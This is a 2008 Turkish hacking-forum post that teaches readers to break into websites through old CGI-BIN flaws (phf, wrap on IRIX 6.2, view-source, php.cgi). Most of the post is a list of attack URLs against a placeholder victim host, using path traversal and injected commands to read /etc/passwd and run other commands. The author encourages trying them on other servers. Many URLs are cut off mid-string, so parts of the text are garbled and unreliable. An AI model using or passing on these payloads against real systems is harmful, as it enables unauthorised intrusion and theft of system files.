Sıtelerı Cgı/bın Acıklarından Yaralanıp Kırmak

Aşağa gitmek

Sıtelerı Cgı/bın Acıklarından Yaralanıp Kırmak

Mesaj tarafından OkaY Bir Cuma Ağus. 15, 2008 2:55 pm

SITELERI CGI/BIN ACIKLARINDAN YARALANIP KIRMAK

a- (Phf scripti): Pek cok web ana bilgisayari CGI-BIN guvenli?inden

yoksundur. Bir de bunun uzerine sistem yöneticilerinin CGI-BIN guvenlik

aciklarini bilmemesi potansiyel sistem aciklarina yol acmaktadir. Tum

dunyada pek cok hacker'in kullandi?i cgi-bin guvenlik aci?i:

http://www.kiraca?imizadres.com.tr/c...%20/etc/passwd

Fakat bazi uyanik sistem yöneticileri phf komutunun kullanimini

sinirlamislardir. Bu yuzden bu komutu calistiramayabilirsiniz. Fakat yine

de alternatif web makinalari uzerinde denemekte yarar var.

b- (Wrap Scripti): Irix isletim sisteminin 6.2 versiyonunda rastlanan bu

hatayi da söyle istismar edebiliriz:

http://www.kiraca?imizadres.com.tr/c.../../etc/passwd

http://www.kiraca?imizadres.com.tr/cgi-bin/wrap?%0als (...)

Dikkat edece?imiz tek nokta bu hata sadece IRIX 6.2'de var. !!

c- (View Source Scripti): Denemek serbest (basariya ulasabilme

ihtimali kadar ulasamama ihtimali de var)

http://www.kiraca?imizadres.com.tr/c.../../etc/passwd

ya da

http://www.kiraca?imizadres.com.tr/c...iew-source?%1b or

%0a %20

d- (php.cgi Scripti):

http://www.victim.com/cgi-bin/php.cg.../../etc/passwd

e- Di?er Denenebilir Scriptler:

http://www.kiraca?imizadres.com.tr/c...-c%201000%20-s

%205000%20ip%20to%20shoot

http://www.kiraca?imizadres.com.tr/c...cp%20phf%20fhp

http://www.kiraca?imizadres.com.tr/c...%20phf%20.blah

http://www.kiraca?imizadres.com.tr/c...l%20/dir/to/go

http://www.kiraca?imizadres.com.tr/c...ww/dirtocreate

http://www.kiraca?imizadres.com.tr/c...ogs/access_loga

_________________
"""Admin Destek"""

thee.bosfforumdestek@hotmail.com
avatar
OkaY
Administrator
Administrator

Erkek
Mesaj Sayısı : 424
Yaş : 28
Nerden : İsTaNbUL
İş/Hobiler : Pc - Thee.bosfforum
Ruh Haliniz :
Hangi Takımlısızı :
Tecrübe Puanı : 6
Kayıt tarihi : 30/07/08

Kullanıcı profilini gör http://thee.bosfforum.com

Sayfa başına dön Aşağa gitmek

Sayfa başına dön

- Similar topics

 
Bu forumun müsaadesi var:
Bu forumdaki mesajlara cevap veremezsiniz